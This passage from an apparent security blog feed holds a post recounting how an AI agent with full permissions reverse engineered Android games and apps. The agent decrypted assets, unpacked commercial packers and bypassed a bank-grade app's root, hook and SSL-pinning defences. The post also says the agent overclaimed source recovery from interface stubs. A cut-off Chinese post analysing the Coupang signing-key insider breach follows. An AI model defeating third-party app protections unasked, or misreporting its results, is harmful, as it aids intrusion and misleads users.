id="case-1-cocos2d-game">Case 1: Cocos2d Game</span></h3><p>After AI unpacked the APK, it used jadx to decompile the Java and found that the game logic was not included.</p><p>Upon observation, it was discovered that the game was written in Cocos2d, with a large number of encrypted JavaScript and JSON files under the assets directory, as well as a <code>libcocos2djs.so</code>.</p><p>The next step was to parse the symbols within <code>libcocos2djs.so</code>, where some encryption and decryption functions were indeed found. However, since this SO file was 35 MB, AI deemed it too large and chose to reverse engineer from the decryption functions instead, identifying that the encryption algorithm was Blowfish.</p><p>Next, I traced who called the function that set the key, and after decompiling that segment, I restored the key, which was constructed in the original code by concatenating strings one by one:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">std<span class="token operator">::</span>string key<span class="token punctuation">;</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'7'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x37</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'2'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x32</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'c'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x63</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'d'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x64</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>（<span class="token number">32</span> in total）<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This is particularly noteworthy because before attempting this method, AI first scanned the code to see if there were any strings resembling the key, but found none. By this point, AI understood that since the key was added one by one, it was not continuous in the code and could not be directly scanned.</p><p>Then, I wrote a Python script to decrypt all resources, ultimately obtaining the JavaScript and restoring the game logic and client-side configuration.</p><p>This case primarily involved pure static analysis, where AI used static analysis alone to find the encryption and decryption functions as well as the key-setting location, then decompiled back to derive the key’s content and decrypted the game resources.</p><h3><span id="case-2-another-cocos2d-game">Case 2: Another Cocos2d Game</span></h3><p>Similarly, after unpacking and using jadx, it was found that the DEX had a shell added. However, this game was also observed to be Cocos2d, so the DEX was set aside for now, and AI first looked at <code>libcocos2djs.so</code>, where a suspicious key was found.</p><p>However, since this key could not decrypt the encrypted JSC, AI took a different approach and used Unicorn Engine to simulate the execution of this SO, but there was no progress, as it got stuck after running for a while.</p><p>Since static analysis did not yield results, AI switched to dynamic analysis, installing an Android emulator and Frida to hook multiple parameters. Both <code>Memory.scanSync</code> and <code>fopen</code> failed, and later AI looked for the functions exported by <code>libcocos2djs.so</code>, discovering that <code>xxtea_decrypt</code> was public, so AI hooked <code>xxtea_decrypt</code>.</p><p>After running the game, AI obtained the correct key and restored the encrypted JSC files, which also contained the game logic and configuration.</p><p>After reaching this point, since the game had already been restored, AI stopped. I wanted to continue testing its capabilities, so I said to it, “Why don’t you try to unpack that shell?” As a result, the protection of that shell was quite weak, and after running it, frida-dexdump quickly dumped all the DEX.</p><p>This case switched from static analysis to dynamic analysis with hooking, and also conveniently unpacked a shell (although the shell was quite weak).</p><h3><span id="case-3-unity-game">Case 3: Unity Game</span></h3><p>After unpacking the APK, there were three SO files: libil2cpp, libunity, and libxlua. It was speculated that the core logic was at the Lua layer. AI then used Il2CppDumper to unpack the global-metadata, extracting some C# files and DLLs. After decompiling with ILSpy, it was found that they were all classes with empty implementations (seemingly how IL2CPP works?).</p><p>Using jadx to decompile Java also yielded some SDKs, with no game logic, so AI focused on finding the Lua files.</p><p>Using UnityPy to scan all asset bundles for TextAssets, AI only found four Lua scripts, none of which contained the core game logic. From the C# code AI obtained earlier, AI found some strings indicating that the game had a hot update system. AI attempted to download using the URLs and AES key and IV found within, but all returned 404 errors and could not be downloaded.</p><p>Later, AI turned back to the asset bundle and found a bundle containing 3000 TextAssets (which AI didn’t check the first time). From the file names, AI confirmed they were encrypted Lua scripts.</p><p>Upon observation, AI noticed that many of these files had the same first 6 bytes, speculating that they were the beginning of Lua 5.3 compiled bytecode. AI attempted to reverse-engineer the key using XOR but found it impossible to decrypt. Then AI tried several different encryption methods, various AES modes, but still couldn’t decrypt it.</p><p>Next, AI decompiled libil2cpp and saw that the decryption process indeed used XOR, and the key was a 6-byte sequence that repeated. In C#, AI couldn’t find it using a static method with global-metadata, and AI hit a roadblock, so I intervened.</p><p>I asked him, “Would dynamic analysis be faster?”</p><p>The AI provided two options: one was Frida hook, and the other was Unicorn simulation. I chose the latter, and during the script writing, the AI cleverly cracked it using a different method. It said it observed those files and found that the first 54 bytes of half of them were identical, and they were a repeating sequence of 6 bytes: <code>c3 70 43 22 34 a6</code>.</p><p>If the key is a 6-byte repeating XOR, then the repetition in the ciphertext indicates that the plaintext is also repeated. What Lua file would have so many identical characters at the beginning?</p><p>The AI boldly guessed: “Comments.” Lua comments start with <code>--</code>, and many frameworks have a habit of placing a long comment starting with <code>-----</code> as a separator. Based on this assumption, it XORed to obtain the key, then decrypted the Lua scripts, discovering that everything was unlocked, revealing readable source code.</p><p>The key to this case is that the AI is observant and employs various methods to attempt decryption. Below is the process the AI followed while solving this case, showing that it tried many methods in between but none worked, so it moved on to the next method:</p><pre class="line-numbers language-none"><code class="language-none">XAPK unpack  ↓Il2CppDumper + ILSpy + JADX  ← standard workflow, nothing unusual  ↓UnityPy scan → only 4 tool scripts found  ← assumed core logic is server-side  ↓Locate AppConfig → obtained CDN URL and AES key  ↓Attempt download → all 404  ← dead end  ↓Re-examine AssetBundle → found encrypted files!  ↓Inspect ciphertext → noticed repeating 6-byte pattern  ↓❌ Wrong assumption: Lua bytecode → derived incorrect keystream  ↓❌ Tried AES-CBC&#x2F;ECB&#x2F;OFB&#x2F;CTR&#x2F;CFB → none matched❌ Tried RC4 → no match❌ Tried .NET Random (10K seeds) → no match  ↓Reverse engineered libil2cpp.so → confirmed it&#39;s simple repeating XOR (not a stream cipher)  ↓❌ Tried statically finding ENCRYPT_BYTES → failed❌ Tried metadata defaultValues → failed❌ Tried ELF GOT&#x2F;RELA → too deep  ↓Revisited ciphertext patterns → 1500 files share a 62-byte prefix  ↓💡 Hypothesis: plaintext is repeated &#39;-&#39; (0x2d) → XOR to recover key → decryption succeeded!<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="case-four-another-unity-game">Case Four: Another Unity Game</span></h3><p>Similar to the previous one, it was also discovered to be Unity + Lua, but this time the decryption method was simpler. After dumping the C#, AI searched using “encrypt” as a keyword and directly found the LuaEncryption key and the custom asset bundle offset, needing to skip the first 12 bytes.</p><p>Next, AI skipped 12 bytes and used the key to XOR, obtaining the Lua bytecode (this time it was bytecode, not source code), which was then concatenated into a large asset.</p><p>Next, the AI wrote a Python script:</p><ol><li>Skip the first 12 bytes of the custom header</li><li>Scan all positions marked with <code>UnityFS\x00</code></li><li>Cut into independent bundles by offset</li><li>Parse each bundle using UnityPy</li><li>Extract all <code>.lua.bytes</code> files</li><li>Decrypt each file using the key with XOR</li></ol><p>This resulted in over 7000 Lua JIT bytecodes, which were then all fed into ljd to recover, yielding much more readable Lua source code, totaling 10 million lines.</p><p>This case is similar to the first one; static analysis handled everything, directly finding the encryption key and method, recovering all resources.</p><h3><span id="case-five-obfuscated-app">Case Five: Obfuscated App</span></h3><p>This is a common app that has undergone some protection. The Java layer has been obfuscated to make it difficult to reverse, and the encryption and decryption logic is placed in the so files, accessed via JNI. When sending requests, it goes through some encryption plus a signature; if the algorithm cannot be cracked, it cannot be used outside the app.</p><p>The AI discovered that after obfuscation, it wrote a de-obfuscation script that restored several core class names, then began to reverse-engineer that section of the so file, using capstone + lief to disassemble the arm64-v8a version, restoring it to pseudo-C.</p><p>With this code, further analysis was possible, ultimately restoring the encryption and decryption algorithms along with the key.</p><p>So, despite the obfuscation, the AI could derive some methods to attempt restoration through observation. Even if it couldn’t restore everything, the AI’s ability to read obfuscated code is far superior to that of a human.</p><h3><span id="case-six-bank-level-app">Case Six: Bank-Level App</span></h3><p>After trying the above cases, I decided to challenge the boss: a bank-level app.</p><p>Banks usually have stricter requirements for information security, so there will definitely be a lot of encryption, obfuscation, and packing, along with various anti-root and anti-hook mechanisms. Therefore, “bank-level” refers to similar specifications.</p><p>The goal is clear: to be able to open the app on a rooted emulator and hook to see the request content. Achieving this means that the internal protection mechanisms have been bypassed.</p><p>This bank-level app is packaged with what is commonly known as a commercial shell (meaning a shell specifically made by a certain company; these commercial solutions can be quite expensive, costing hundreds of thousands of TWD per year), with the main logic contained in a so file.</p><p>The AI first used <code>objdump -h</code> to check the section headers and found two non-standard sections. Then, more than half of the <code>.text</code> section was encrypted and could not be disassembled, and the <code>.rodata</code> section was also completely encrypted. However, from other clues, it had already inferred which company’s shell it was.</p><p>Next, the AI began trying to remove the shell of the so file, experimenting with several methods that all failed, such as attempting to brute-force the key.</p><p>After several failed attempts, it started to solve some areas that could be resolved. After trying a few methods, it understood how the shell operated and successfully removed it.</p><p>Once the shell was removed, it could see what was inside and the protective measures in place. At the native layer, there were these protections:</p><ul><li>Anti-injection detection: Scanning <code>/proc/self/maps</code> for memory mappings like <code>frida-agent</code>, <code>frida-gadget</code>, etc.</li><li>Thread name scanning: Reading <code>/proc/self/task/*/comm</code> to find Frida characteristic threads like <code>pool-frida</code>.</li><li>Anti-debug: <code>ptrace(PTRACE_TRACEME)</code> self-attach to prevent debuggers.</li><li>String matching: Searching for Frida keywords in memory using functions like <code>strstr</code>, <code>strncmp</code>, etc.</li><li>SO shell: The <code>.text</code> segment is encrypted, dynamically decrypted at runtime, making static analysis impossible.</li></ul><p>At the Java layer, there were these:</p><ul><li>Root detection: <code>File.exists()</code> checks for paths like su, magisk, supersu, etc.</li><li>Emulator detection.</li><li>SystemProperties detection.</li><li>Anti-debug.</li><li>SSL Pinning.</li></ul><p>The bypass method was to hook various methods in advance, making them undetectable, and then the native layer would pass the results to Java, where patching could also be done. Since it was already aware of the detection methods, it could handle them accordingly.</p><p>As for the obfuscation at the Java layer, the AI wrote a 1000-line Python script based on various rules to restore the strings, resulting in highly readable strings.</p><p>In summary, it was successful in the end; the app could be opened, and requests could be hooked, with all protective measures bypassed.</p><h3><span id="case-seven-a-packaged-game">Case Seven: A Packaged Game</span></h3><p>Since learning that AI could also remove shells, I thought perhaps there was nothing that AI couldn’t crack, so I looked for another packaged game.</p><p>This game’s difficulty was higher than the previous one; it also used a commercial shell and implemented double encryption. Its dex was first encrypted with one so file, and then that so file was encrypted with another so file, while the entry point’s so file itself was also shelled, preventing decryption.</p><p>I let the AI try for a day, but in the end, it didn’t yield any results. Even though I found other articles online that had already removed the shell, it still couldn’t fully crack it; the shell of the so file remained intact, and it encountered some obstacles.</p><p>However, after I directed the AI to change its approach, it discovered that the main logic of this Unity game was actually in Lua. Although the resources in Lua were encrypted, after observing the encrypted hex, it quickly identified the pattern and managed to decrypt it.</p><p>So, although the Java layer’s code wasn’t fully decrypted and the shell wasn’t removed, the core game logic was obtained.</p><p>This should count as a success, right? Given more time, more reference materials, and better tools, I believe it could also remove that shell.</p><h2><span id="my-ai-usage-and-costs">My AI Usage and Costs</span></h2><p>I used Cursor paired with Claude Opus 4.6 high thinking, without installing any skills, and the prompt was very simple:</p><blockquote><p>There is an apk under the xxx folder, reverse it to restore it to the original code.</p></blockquote><p>If it got stuck on something midway, I would give it some instructions, for example, when encountering a shelled file:</p><blockquote><p>How did it achieve static analysis resistance? What kind of encryption method is used, and when will it be decrypted? Try to see if you can remove the shell.</p></blockquote><p>Sometimes, I would give more specific instructions:</p><blockquote><p>Let’s plan what to do next; I’m going to sleep soon.</p><ol><li>Restore the .so to C.</li><li>Check what other protections the apk has and how to crack them.</li><li>Restore the Java from the obfuscated code; at least understand the logic or observe which patterns indicate it’s Android’s own lib.</li></ol><p>These are the main tasks. I want you to have a thorough understanding of the protection methods of this apk, as if you have the source code, and come up with a cracking method.</p></blockquote><p>I granted it all permissions, and it installed all the tools itself. It usually starts with static analysis, and when it gets stuck for a long time, I switch it to dynamic analysis, installing an Android emulator with Frida hook.</p><p>I observe what the AI is doing, and if I feel it’s straying too far from the direction, I intervene and give suggestions (though this happens rarely). After the AI finishes, I ask it to summarize what it did, where it got stuck, and how it resolved those issues.</p><p>After reversing many apps, I summarize these experiences into skills, allowing for faster speeds next time.</p><p>The time taken to reverse each app varies, but most are around 30 minutes. I haven’t calculated the tokens in detail, but under Cursor’s billing, reversing an app costs less than 5 dollars.</p><p>However, I also tried using Claude Code once, and one Unity game took 40 million tokens, which translates to about 27 dollars.</p><p>Therefore, a more fair statement would be that, purely based on token usage, I guess the average falls around 30 dollars. As for why using Cursor is so cheap, I don’t know; it’s clearly the same model.</p><h2><span id="the-limitations-of-ai">The Limitations of AI</span></h2><p>Although it is said that everything that can be solved has been solved, some things are only perceived to be solved, but in reality, they are not done well at all.</p><p>For example, after decompiling a game’s APK, it usually uses some tools to extract DLL files and then restore them to C#. Typically, my instruction is to “restore the source code,” but sometimes it only restores to the interface, with only method definitions and parameters, lacking the implementation logic.</p><p>Next comes the part where AI can easily deceive you. Even if it only has the interface, it can guess the operational logic based on these names and structures, so if you ask it to write a report analyzing what is present, it can write convincingly.</p><p>If you don’t follow up on the details, you might think it has truly restored the source code, but that’s not the case.</p><p>This is a place that requires great caution. I always follow up with it, asking, “So, did you get the source code? Let’s take a look at the implementation of the login system; we need to see the implementation for it to count,” forcing it to dig deeper and restore what I want.</p><p>This confirmation process is very important; without this step, it becomes incomplete, and you can be deceived by AI. Conversely, if you confirm properly, the output from AI will definitely satisfy you.</p><h2><span id="some-insights">Some Insights</span></h2><h3><span id="it-turns-out-i-limited-ai">It Turns Out I Limited AI</span></h3><p>My previous understanding of AI was: “Reversing some small things is definitely no problem, but it probably can’t unpack,” but later AI proved me wrong.</p><p>That’s when I realized I was the limiter of AI.</p><p>I hadn’t tried it myself, but I thought AI couldn’t do it. In the past, during software development, I had similar thoughts; some tasks I did myself because I felt AI couldn’t handle them. For example, needing to modify multiple projects simultaneously, or a larger feature that required a deep understanding of the overall architecture, I would think AI couldn’t do it, so I might as well do it myself.</p><p>But later, as I started delegating more and more tasks to AI, I found that it could handle most of them, reaffirming that I was the limiter of AI. No wonder some people say that in certain fields, those who don’t understand use AI better because they don’t assume AI can’t do something and let it try everything; if it can’t do it, then they address it.</p><p>Returning to the topic of AI reversing, I observed the processes of AI reversing so many apps and found that, at its core, they are all the same: making various attempts and observing the output, then improving based on the output or trying a different approach.</p><p>For example, once Frida hooks are set up, if the hook fails, it will modify based on the error log. If the app closes itself after the hook, it will change the timing of the hook or test which part is being detected, then make adjustments.</p><p>Perhaps, as long as you can provide AI with an environment where it can thrive, ensure it can see enough logs and validate correctness, and give it enough time, there is nothing that cannot be reversed. I later also tried desktop apps and wasm, and they worked too.</p><p>Even if it’s packed, as long as you let AI observe and track, just like the human reversing process, it can slowly observe, take action, adjust based on results, and then try again, repeatedly, until it succeeds.</p><p>Although I already knew AI was strong, I didn’t expect it to be this powerful. As I mentioned before in <a href="https://blog.huli.tw/2023/04/27/en/android-apk-decompile-intro-1/">a previous post</a>, I have a bit of knowledge about reverse engineering, but when it comes to the native layer, I am completely lost, while AI has surpassed my capabilities, accomplishing things I couldn’t do, even things I thought it couldn’t do.</p><p>After this exploration, my perspective on AI’s capabilities has completely changed, and I have given more thought to the idea of “AI replacing software engineers.” If what I said earlier, “there is nothing that cannot be reversed,” is true, can this also be applied to software development? If AI can plan, write code, test, and validate results on its own, could it continuously run and produce a complete application with good quality?</p><p>Let’s save this topic for later; there are other angles we can explore together.</p><h3><span id="the-balance-of-offense-and-defense">The Balance of Offense and Defense</span></h3><p>As long as it is something on the client side, there are no secrets.</p><p>Obfuscation or packing is just a way to delay the time it takes to be reversed; as long as enough time is spent, all your code runs on the client, so everything can be reversed.</p><p>Therefore, many defensive techniques are based on “increasing difficulty to prolong cracking time.” We all know there are no secrets on the client, but there are still some things on the client side that we want to protect as much as possible to increase the difficulty of reversing.</p><p>Thus, the defending side obfuscates the code, turning variables into a bunch of unreadable text, or even encrypting constants that can only be decrypted when executed, not wanting you to see the plaintext so easily. Packing is the same; they don’t want you to easily see what is running inside, and anti-debugging is also aimed at preventing you from rooting, hooking, or debugging, so they try to detect whether various reverse engineering tools exist.</p><p>On the other hand, the attacking side spends time reversing your original logic, relying on experience to speed up, knowing that this pattern looks like AES, this looks like XOR, this pattern has appeared before, and figuring out how to crack it, etc. As long as the defending side makes even a slight adjustment, the final output could be completely different, and the attacking side would need to start over.</p><p>However, with AI reversing becoming so powerful, will the positions start to reverse? The shell that the attacking side spent so much time creating could be removed by AI in just an hour. After thinking of so many obfuscation methods and implementing a new algorithm, AI could just look at it and write a reverse script, reassembling everything back together.</p><p>If the defenders want to keep up, they may need to use magic against magic, using AI to obfuscate. Each time they obfuscate, they should use a completely new method or pattern, and it’s not just a simple change; it should be made more complex by AI to ensure that the attackers have to start from scratch.</p><p>But even so, in front of AI, will it only take one or two hours to crack it? I don’t know.</p><h2><span id="summary">Summary</span></h2><p>I am not a reverse engineering expert, so I won’t comment much on the impact of AI in this field. But at least for someone like me who is not very skilled in reverse engineering, AI has almost completely met my needs for reverse engineering. Desktop applications can be reversed, APKs can be reversed, WASM can be reversed, shells can be stripped, and encryption can be decrypted.</p><p>For binary reverse engineering, although sometimes I need to assist in opening Ghidra and help set up Ghidra MCP, these are minor issues.</p><p>After this experience and witnessing the capabilities of AI, I have already submitted to AI.</p><p>Is there anything that AI cannot crack? Perhaps there is; for example, the case I mentioned above, Case Seven, has not actually been cracked. It just obtained what I wanted in a different way without fully restoring the APP. But aside from that, it has indeed cracked everything else (by the way, I am curious if AI can crack the <a href="https://www.hybridclr.cn/en/docs/business/basicencryption">commercial shell</a> of HybridCLR, but I haven’t encountered this commercial version yet).</p><p>Is it possible that I make AI reverse engineering sound very powerful, while in the eyes of professionals, it is not that impressive? That is also possible, after all, the things I have dismantled can also be dismantled by the experts in the kanxue (a well-known reverse engineering community in China), and some things have already been dismantled and shared, which AI has referenced.</p><p>But in any case, the original intention of this article is to record my experience with AI reverse engineering, summed up in one word: “amazing”. This experience has completely influenced my view of AI’s capabilities.</p><p>And it’s not “AI-assisted reverse engineering”; it’s full AI reverse engineering. The tool installs itself, analyzes itself, and decompiles itself. I just stand by and say, “You should be able to crack this, try again.”</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Previously, I wrote a post titled &lt;a href=&quot;https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/&quot;&gt;Using AI to Do Simple Reverse Engineering&lt;/a&gt;, describing how I combined an AI agent with Ghidra MCP to reverse engineer a stripped Golang binary. Although there were some minor errors in the results, the overall direction was correct.&lt;/p&gt;
&lt;p&gt;Nearly two months have passed, and during this time, I used AI to reverse engineer more things, including many that I thought AI couldn’t handle. However, AI slapped me in the face, revealing that I was the ignorant one.&lt;/p&gt;
&lt;p&gt;This article documents what AI can achieve and concludes with how this experience has changed my perspective on AI.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>從 Coupang 的個資外洩談內部威脅、金鑰管理與 JWT</title>
    <link href="https://blog.huli.tw/2026/03/19/coupang-insider-kms-and-jwt/"/>
    <id>https://blog.huli.tw/2026/03/19/coupang-insider-kms-and-jwt/</id>
    <published>2026-03-19T02:28:05.000Z</published>
    <updated>2026-03-19T11:29:07.230Z</updated>
    
    <content type="html"><![CDATA[<p>從去年 11 月開始，Coupang 個資外洩的事件就受到不少關注，一來是據傳外洩的資料數目龐大，二來這間公司也有在台灣設點。隨著調查進度持續推進，也有越來越多細節出現，甚至還被形容為<a href="https://ec.ltn.com.tw/article/breakingnews/5289937">如同電影情節</a>，去河裡打撈硬碟。</p><p>最近跑去翻了韓國那邊出的報告發現寫得還滿詳細的，就寫一篇來聊聊這整件事情在技術上到底是怎麼做到的，以及在資安上又有哪些可以留意的地方。</p><span id="more"></span><h2><span id="到底怎麼打進去的">到底怎麼打進去的？</span></h2><p>先簡單整理一下整起事件的經過，讓大家有個基本脈絡，之後才能繼續談更細的地方。</p><p>目前台灣官方有兩篇聲明稿：</p><ol><li><a href="https://tw.coupangcorp.com/archives/5789/">Coupang酷澎台灣就近期酷澎韓國資安事件調查的最新說明</a> （2025-12-25 發布）</li><li><a href="https://tw.coupangcorp.com/archives/5954/">酷澎台灣：針對2025年11月29日公告個資事件之更新</a> （2026-02-24 發布）</li></ol><p>但有更多細節的其實是這篇只有英文跟韓文的官方聲明：<a href="https://www.aboutcoupang.com/English/news/news-details/2025/update-on-coupang-korea-cybersecurity-incident/">Update on Coupang Korea Cybersecurity Incident</a> （2025-12-29 發布）</p><p>想了解更多技術細節的話，則需要看韓國科學技術情報通訊部（Ministry of Science and ICT，MSIT）在 2 月 10 號發表的調查報告，這篇寫得超級詳細：<a href="https://www.msit.go.kr/eng/bbs/view.do;jsessionid=iMyzX8C42zedbf27PtWxq844qjcyYy0VOCt74FEO.AP_msit_2?sCode=eng&mPid=2&mId=4&bbsSeqNo=42&nttSeqNo=1221&utm_source=perplexity">Investigation Results on the Data Breach by a Former Coupang Employee</a>，本篇所引用的技術細節也都會來自於這個報告。</p><p>整起事件的開端發生於 2025 年 11 月 16 號，Coupang 收到了一封來自攻擊者的郵件，說因為系統漏洞的關係有一堆個資外洩，並且附上了相關截圖來證明。</p><p>而 Coupang 隨即展開調查，開始翻了翻 log，發現確實是有資料被偷走，就有了大家看到的新聞。目前整起事件已經差不多告一個段落，相關的結果都可以透過官方聲明稿跟新聞得知，這篇文章不會討論結果，只會專注於技術上的細節。</p><p>因此，我們關心的問題是：「這個攻擊者怎麼打進去的？」，先來看看他的身份。</p><blockquote><p>The attacker was identified as a former Coupang software developer (Staff Back-end Engineer) who, whlie employed at Coupang, was responsible for designing and developing user authentication systems for backup in the event of system failures.<br>攻擊者被確認為一名前 Coupang 軟體開發人員（資深後端工程師）。他在 Coupang 任職期間，負責設計與開發使用者認證系統，用於在系統故障時作為備援機制。</p></blockquote><p>攻擊者是前員工，而且負責開發 auth 相關的系統。開頭講的寄信的人也是這個人，至於為什麼他要主動揭發自己的攻擊行為，這個報告跟新聞都沒有講。</p><p>在正常的登入流程中，驗證完帳號密碼以後，系統會發一個「electronic access badge」（報告原文就這樣寫），而接下來 server 就會用 signing key 驗這個 badge 是否合法。而攻擊者在 Coupang 工作時，直接取得了這把 signing key，所以本地就可以簽出一個合法的 badge，進而以任何人的身份登入。</p><p>這個 electronic access badge 聽起來很像是 JWT token，我自己試了一下 Coupang 台灣的網站，也發現拿來驗證身份的就是個 JWT token（CT_AT_TW），解出來會像這樣：</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"aud"</span><span class="token operator">:</span> <span class="token punctuation">[</span>    <span class="token string">"https://www.tw.coupang.com"</span>  <span class="token punctuation">]</span><span class="token punctuation">,</span>  <span class="token property">"client_id"</span><span class="token operator">:</span> <span class="token string">"4cb7da11-c6d6-4ca3-875f-332cf489d5d"</span><span class="token punctuation">,</span>  <span class="token property">"exp"</span><span class="token operator">:</span> <span class="token number">1773067653</span><span class="token punctuation">,</span>  <span class="token property">"ext"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"LSID"</span><span class="token operator">:</span> <span class="token string">"a3788aeb-239c-453d-cd90-72ac345aa431"</span><span class="token punctuation">,</span>    <span class="token property">"fiat"</span><span class="token operator">:</span> <span class="token number">1773064052</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token property">"iat"</span><span class="token operator">:</span> <span class="token number">1773064052</span><span class="token punctuation">,</span>  <span class="token property">"iss"</span><span class="token operator">:</span> <span class="token string">"https://mauth.tw.coupang.net/"</span><span class="token punctuation">,</span>  <span class="token property">"jti"</span><span class="token operator">:</span> <span class="token string">"043c2c37-c373-4b75-abbc-ad8e646bb490"</span><span class="token punctuation">,</span>  <span class="token property">"nbf"</span><span class="token operator">:</span> <span class="token number">1773064052</span><span class="token punctuation">,</span>  <span class="token property">"scp"</span><span class="token operator">:</span> <span class="token punctuation">[</span>    <span class="token string">"openid"</span><span class="token punctuation">,</span>    <span class="token string">"offline"</span><span class="token punctuation">,</span>    <span class="token string">"core"</span><span class="token punctuation">,</span>    <span class="token string">"core-shared"</span><span class="token punctuation">,</span>    <span class="token string">"pay"</span>  <span class="token punctuation">]</span><span class="token punctuation">,</span>  <span class="token property">"sub"</span><span class="token operator">:</span> <span class="token string">"556683653781741"</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>雖然我不知道 Coupang 內部的技術實作細節，也不能百分百確定是 JWT token，但由於簽 token 檢查身份這個機制以 JWT token 來講最合適，我們就先當作是 JWT token 吧，就算背後用的是其他的，流程也應該是類似的。</p><p>看到這邊，攻擊者怎麼打進去的已經很明顯了，那就是他還在工作的時候拿到了 signing key（或你也可以說是 JWT secret），所以離職之後就在外面用這個 signing key 自己簽 token，server 驗了合法就放它過，就登入到其他人的帳號了。登進去之後，就可以去 my profile 之類的頁面看到個資。</p><p>所以這其實並不是來自於外部的攻擊，不是外部駭客透過 auth 系統的漏洞打進來，而是 insider threat，是離職員工透過在職時拿到的內部資訊入侵系統。</p><p>接著我們可以從兩個角度來看這件事情，分別是企業內部的 key 為什麼會被一個開發人員拿到，以及 JWT token 當作 auth 驗證這個機制本身的風險。</p><h2><span id="金鑰管理的生命週期">金鑰管理的生命週期</span></h2><p>金鑰很重要，這點大家都知道，而金鑰的生命週期其實有分很多階段：</p><ol><li>產生金鑰（Generate）</li><li>金鑰保存（Store）</li><li>金鑰分發（Distribute）</li><li>金鑰使用（Use）</li><li>金鑰輪替（Rotate）</li><li>金鑰銷毀（Destroy）</li></ol><p>一開始會碰到的就是要先產生一個 secret key，並確保產生的方式是安全的，這一步通常會強調要用安全的演算法、熵足夠的隨機數以及安全的環境等等。有問題的例子是用了不夠安全的隨機數（如 <code>Math.random()</code>），或者是在一個不安全的環境中產生金鑰，例如在開發者的本地環境產生。</p><p>產生完之後，要選擇安全的地方來保存，例如說存在 HSM 或者是存在 KMS 裡面；反例是直接明文存在某台主機上。</p><p>接著當系統要用這把 key 的時候，要能安全地把這把 key 從儲存的地方傳輸到使用的地方。反例就是直接在內網透過 HTTP 傳輸這把 key，能在內網攔截封包就能直接看到明文的 key。</p><p>再來使用的時候要用對，金鑰應該只被用於其設計的用途，並且要限制誰可以使用這把 key。例如說我產一把 key 然後每個系統都用同一把，那就是錯誤的使用方式，一旦被偷了每個系統都遭殃。應該是 auth 一把，payment 一把，或甚至同個系統內也會有多把 key。</p><p>話說從 Coupang 對外的聲明中可以看出，雖然他們 auth 的那把外洩，但是 payment 相關的服務是沒問題的，資料也沒有流出。韓國的調查報告中也指出影響範圍僅在 My Information 等頁面，不包含支付相關資訊。</p><p>最後則是跟淘汰 key 有關，要定期做 key rotation 把金鑰換掉，限制攻擊時間窗口，而把 key 完全銷毀之後要確保無法復原，這把 key 不能再次被使用。</p><p>這個生命週期中，任何一步有問題，都可能導致 key 的外洩。</p><p>以這次 Coupang 的案例看來，既然前員工可以碰到 key，那就代表應該是在前兩步出了錯，在調查報告裡面有指出現任員工的電腦中也有這個 key：</p><blockquote><p>A forensic examination of laptops used by current developers confirmed that the signing key, which was required to be stored exclusively within the key management system, had also been stored locally on developer laptops (via hardcoding)<br>對現任開發人員所使用筆記型電腦進行的鑑識分析確認，用於簽章的金鑰本應只儲存在金鑰管理系統中，但實際上也被以硬編碼（hardcoding）的方式儲存在開發人員的筆記型電腦本地端。</p></blockquote><p>有許多公司在做金鑰管理時，可能都只考慮到了其中一半。例如說知道要用一些 Secret Manager 或是 vault 來保存金鑰，並且透過安全的方式傳輸給系統使用，但卻忽略了其他步驟，例如說金鑰產生。</p><p>這個 key 是怎麼產生的？有許多公司可能是 developer 本地產一個 key，接著把 key 丟給 SRE，SRE 配置到 vault 中。在這個流程中，key 其實已經被至少兩個內部員工知道了，而且這段也沒什麼 log 可以查，因為是在 key 被放入 vault 前做的事情。</p><p>當 key 被放到其他地方管理時，此時也可能 SRE 具有權限直接查看 key 的明文並偷走，但是 vault 系統應該會有 access log 可以往回追溯。但如果是在 key 被放進去之前就記錄下來，那就不會有紀錄，成了資安的破口。</p><p>雖然說 insider 的風險相對於其他類別並沒有這麼高，因為內部人士作惡通常更容易被查出來而且會面臨法律責任，可是一旦發生了，對公司名聲還是會造成極大的損害，就像這次 Coupang 的事件一樣。</p><h2><span id="更安全的金鑰管理方式">更安全的金鑰管理方式</span></h2><p>前面有提到許多公司對於 key 的保存是沒什麼問題的，但是在產生 key 這段做得不夠好，讓內部人士可以直接拿到 key，有了來自內部的風險。</p><p>因此，最安全的方式就是「沒有任何人知道這把 key 是什麼」。</p><p>「任何人」包括 SRE、資安長、CEO 或是開發者，所有人都不知道 key 到底是什麼。</p><p>舉例來說，如果你原本是讓 SRE 自己產生 key 再放到 AWS Secret Manager，可以改成直接用 AWS Secret 